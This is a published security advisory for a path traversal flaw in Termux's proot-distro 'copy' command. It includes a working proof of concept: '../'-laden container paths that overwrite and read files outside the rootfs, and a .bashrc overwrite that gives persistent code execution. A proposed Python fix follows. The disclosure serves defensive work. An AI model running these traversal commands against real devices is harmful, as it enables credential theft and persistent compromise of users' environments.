GHSA-MFR4-MQ8W-VMG6

Vulnerability from github – Published: 2026-07-17 20:25 – Updated: 2026-07-17 20:25
VLAI
Summary
PRoot-Distro has Path Traversal in proot-distro copy — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs
Details

Path Traversal in proot-distro copy — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs

Repository

https://github.com/termux/proot-distro

Maintainer: @sylirre


Affected Component

  • Package: proot-distro
  • Affected command: copy
  • Attack surface: Host-side Termux CLI — this is not a guest distro shell issue
  • Vulnerability type: Path Traversal (CWE-22)

Affected Versions

Component | Version -- | -- proot-distro | 4.38.0 (initially discovered), 5.0.2 (confirmed still affected — tested on 2026-05-19) Test distro | Ubuntu 25.10 "Questing Quokka" (ubuntu alias) Architecture | aarch64 Device | Samsung A23 Package source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64

Proof of Concept

All tests were performed using only self-owned files and harmless marker data. No root was used. No third-party data was involved. The .bashrc overwritten during testing was immediately restored.

Step 1 — Setup

rm -rf ~/poc
mkdir -p ~/poc

Step 2 — Arbitrary write (overwrite a file outside the container rootfs)

echo "ORIGINAL" > ~/poc/target.txt
echo "PWNED_BY_PROOT_DISTRO" > ~/poc/evil.txt

proot-distro copy \
  ~/poc/evil.txt \
  "ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/target.txt"

Observed output:

[*] Source: '/data/data/com.termux/files/home/poc/evil.txt'
[*] Destination: '/data/data/com.termux/files/home/poc/target.txt'
[*] Copying files, this may take a while...
[*] Finished copying files.

Verification:

cat ~/poc/target.txt
→ PWNED_BY_PROOT_DISTRO

This confirms that the destination resolved to a path outside the container rootfs and the file was overwritten successfully.


Step 3 — Arbitrary read (exfiltrate a file from outside the container rootfs)

echo "TOP_SECRET" > ~/poc/secret.txt

proot-distro copy \
  "ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/secret.txt" \
  ~/poc/read_result.txt

Observed output:

[*] Source: '/data/data/com.termux/files/home/poc/secret.txt'
[*] Destination: '/data/data/com.termux/files/home/poc/read_result.txt'
[*] Copying files, this may take a while...
[*] Finished copying files.

Verification:

cat ~/poc/read_result.txt
→ TOP_SECRET

This confirms that the source path resolved to a file outside the container rootfs and its contents were successfully copied to a host-side destination.


Step 4 — Persistent code execution via .bashrc overwrite

printf 'echo VULN_TRIGGERED > ~/poc/proof.txt\n' > ~/poc/payload.sh

proot-distro copy ~/poc/payload.sh \
  "ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/.bashrc"

Observed output:

[*] Source: '/data/data/com.termux/files/home/poc/payload.sh'
[*] Destination: '/data/data/com.termux/files/home/.bashrc'
[*] Copying files, this may take a while...
[*] Finished copying files.

Verification before restart:

cat ~/.bashrc
→
echo VULN_TRIGGERED > ~/poc/proof.txt

After closing and reopening Termux, the new shell sourced .bashrc and executed the payload automatically:

cat ~/poc/proof.txt
→ VULN_TRIGGERED

This confirms that attacker-controlled content written into .bashrc executes automatically on the next shell launch, resulting in persistent local code execution within the Termux app context.


Attack Scenario

The most realistic exploitation path is a confused deputy scenario: a community script, Termux plugin, or automated tool calls proot-distro copy with a path derived from untrusted input. The attacker supplies a crafted container path. The tool resolves it to a host-side location and reads or writes the file without any boundary check. The user sees normal command output and no indication that a file outside the container was touched.

On a real device with SSH keys or stored credentials in the Termux home directory, the read primitive allows silent credential theft. The write primitive to .bashrc allows persistent code execution triggered on next login.


Proposed Fix

After resolving the container-relative path, verify that the canonical result remains inside the container rootfs before allowing any read or write operation. Example mitigation pattern in Python:

import os

def safe_resolve(rootfs, container_path):
    candidate = os.path.realpath(os.path.join(rootfs, container_path.lstrip('/')))
    root = os.path.realpath(rootfs)
    if candidate != root and not candidate.startswith(root + os.sep):
        raise ValueError("path traversal detected: resolved path escapes rootfs")
    return candidate

This check must be applied to both the source and destination paths in the copy subcommand.


Additional Notes

  • This issue was reproduced on the official Termux release from https://packages-cf.termux.dev, not a fork.
  • No root access was used at any point during testing.
  • All test files were self-owned and contained only harmless marker data.
  • The .bashrc overwritten during testing was immediately restored after verification.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "proot-distro"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-17T20:25:37Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1\u003ePath Traversal in \u003ccode\u003eproot-distro copy\u003c/code\u003e \u2014 Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs\u003c/h1\u003e\n\u003ch2\u003eRepository\u003c/h2\u003e\n\u003cp\u003ehttps://github.com/termux/proot-distro\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eMaintainer:\u003c/strong\u003e @sylirre\u003c/p\u003e\n\u003chr\u003e\n\u003ch2\u003eAffected Component\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ePackage:\u003c/strong\u003e proot-distro\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAffected command:\u003c/strong\u003e \u003ccode\u003ecopy\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAttack surface:\u003c/strong\u003e Host-side Termux CLI \u2014 this is not a guest distro shell issue\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eVulnerability type:\u003c/strong\u003e Path Traversal (CWE-22)\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2\u003eAffected Versions\u003c/h2\u003e\n\nComponent | Version\n-- | --\nproot-distro | 4.38.0 (initially discovered), 5.0.2 (confirmed still affected \u2014 tested on 2026-05-19)\nTest distro | Ubuntu 25.10 \"Questing Quokka\" (ubuntu alias)\nArchitecture | aarch64\nDevice | Samsung A23\nPackage source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64\n\n\n\u003chr\u003e\n\u003ch2\u003eProof of Concept\u003c/h2\u003e\n\u003cp\u003eAll tests were performed using only self-owned files and harmless marker data.\nNo root was used. No third-party data was involved. The \u003ccode\u003e.bashrc\u003c/code\u003e overwritten\nduring testing was immediately restored.\u003c/p\u003e\n\u003ch3\u003eStep 1 \u2014 Setup\u003c/h3\u003e\n\u003cpre\u003e\u003ccode\u003erm -rf ~/poc\nmkdir -p ~/poc\n\u003c/code\u003e\u003c/pre\u003e\n\u003chr\u003e\n\u003ch3\u003eStep 2 \u2014 Arbitrary write (overwrite a file outside the container rootfs)\u003c/h3\u003e\n\u003cpre\u003e\u003ccode\u003eecho \"ORIGINAL\" \u0026gt; ~/poc/target.txt\necho \"PWNED_BY_PROOT_DISTRO\" \u0026gt; ~/poc/evil.txt\n\nproot-distro copy \\\n  ~/poc/evil.txt \\\n  \"ubuntu:$(printf \u0027../%.0s\u0027 {1..20})data/data/com.termux/files/home/poc/target.txt\"\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eObserved output:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e[*] Source: \u0027/data/data/com.termux/files/home/poc/evil.txt\u0027\n[*] Destination: \u0027/data/data/com.termux/files/home/poc/target.txt\u0027\n[*] Copying files, this may take a while...\n[*] Finished copying files.\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eVerification:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ecat ~/poc/target.txt\n\u2192 PWNED_BY_PROOT_DISTRO\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThis confirms that the destination resolved to a path outside the container\nrootfs and the file was overwritten successfully.\u003c/p\u003e\n\u003chr\u003e\n\u003ch3\u003eStep 3 \u2014 Arbitrary read (exfiltrate a file from outside the container rootfs)\u003c/h3\u003e\n\u003cpre\u003e\u003ccode\u003eecho \"TOP_SECRET\" \u0026gt; ~/poc/secret.txt\n\nproot-distro copy \\\n  \"ubuntu:$(printf \u0027../%.0s\u0027 {1..20})data/data/com.termux/files/home/poc/secret.txt\" \\\n  ~/poc/read_result.txt\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eObserved output:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e[*] Source: \u0027/data/data/com.termux/files/home/poc/secret.txt\u0027\n[*] Destination: \u0027/data/data/com.termux/files/home/poc/read_result.txt\u0027\n[*] Copying files, this may take a while...\n[*] Finished copying files.\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eVerification:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ecat ~/poc/read_result.txt\n\u2192 TOP_SECRET\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThis confirms that the source path resolved to a file outside the container\nrootfs and its contents were successfully copied to a host-side destination.\u003c/p\u003e\n\u003chr\u003e\n\u003ch3\u003eStep 4 \u2014 Persistent code execution via \u003ccode\u003e.bashrc\u003c/code\u003e overwrite\u003c/h3\u003e\n\u003cpre\u003e\u003ccode\u003eprintf \u0027echo VULN_TRIGGERED \u0026gt; ~/poc/proof.txt\\n\u0027 \u0026gt; ~/poc/payload.sh\n\nproot-distro copy ~/poc/payload.sh \\\n  \"ubuntu:$(printf \u0027../%.0s\u0027 {1..20})data/data/com.termux/files/home/.bashrc\"\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eObserved output:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e[*] Source: \u0027/data/data/com.termux/files/home/poc/payload.sh\u0027\n[*] Destination: \u0027/data/data/com.termux/files/home/.bashrc\u0027\n[*] Copying files, this may take a while...\n[*] Finished copying files.\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eVerification before restart:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ecat ~/.bashrc\n\u2192\necho VULN_TRIGGERED \u0026gt; ~/poc/proof.txt\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eAfter closing and reopening Termux, the new shell sourced \u003ccode\u003e.bashrc\u003c/code\u003e and\nexecuted the payload automatically:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ecat ~/poc/proof.txt\n\u2192 VULN_TRIGGERED\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThis confirms that attacker-controlled content written into \u003ccode\u003e.bashrc\u003c/code\u003e executes\nautomatically on the next shell launch, resulting in persistent local code\nexecution within the Termux app context.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2\u003eAttack Scenario\u003c/h2\u003e\n\u003cp\u003eThe most realistic exploitation path is a confused deputy scenario: a community\nscript, Termux plugin, or automated tool calls \u003ccode\u003eproot-distro copy\u003c/code\u003e with a path\nderived from untrusted input. The attacker supplies a crafted container path.\nThe tool resolves it to a host-side location and reads or writes the file\nwithout any boundary check. The user sees normal command output and no\nindication that a file outside the container was touched.\u003c/p\u003e\n\u003cp\u003eOn a real device with SSH keys or stored credentials in the Termux home\ndirectory, the read primitive allows silent credential theft. The write\nprimitive to \u003ccode\u003e.bashrc\u003c/code\u003e allows persistent code execution triggered on next login.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2\u003eProposed Fix\u003c/h2\u003e\n\u003cp\u003eAfter resolving the container-relative path, verify that the canonical result\nremains inside the container rootfs before allowing any read or write operation.\nExample mitigation pattern in Python:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eimport os\n\ndef safe_resolve(rootfs, container_path):\n    candidate = os.path.realpath(os.path.join(rootfs, container_path.lstrip(\u0027/\u0027)))\n    root = os.path.realpath(rootfs)\n    if candidate != root and not candidate.startswith(root + os.sep):\n        raise ValueError(\"path traversal detected: resolved path escapes rootfs\")\n    return candidate\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThis check must be applied to both the source and destination paths in the\n\u003ccode\u003ecopy\u003c/code\u003e subcommand.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2\u003eAdditional Notes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eThis issue was reproduced on the official Termux release from\nhttps://packages-cf.termux.dev, not a fork.\u003c/li\u003e\n\u003cli\u003eNo root access was used at any point during testing.\u003c/li\u003e\n\u003cli\u003eAll test files were self-owned and contained only harmless marker data.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003e.bashrc\u003c/code\u003e overwritten during testing was immediately restored after\nverification.\u003c/li\u003e\n\u003c/ul\u003e\u003c/body\u003e\u003c/html\u003e",
  "id": "GHSA-mfr4-mq8w-vmg6",
  "modified": "2026-07-17T20:25:37Z",
  "published": "2026-07-17T20:25:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/termux/proot-distro/security/advisories/GHSA-mfr4-mq8w-vmg6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/termux/proot-distro"
    },
    {
      "type": "WEB",
      "url": "https://github.com/termux/proot-distro/releases/tag/v5.1.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PRoot-Distro has Path Traversal in proot-distro copy \u2014 Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…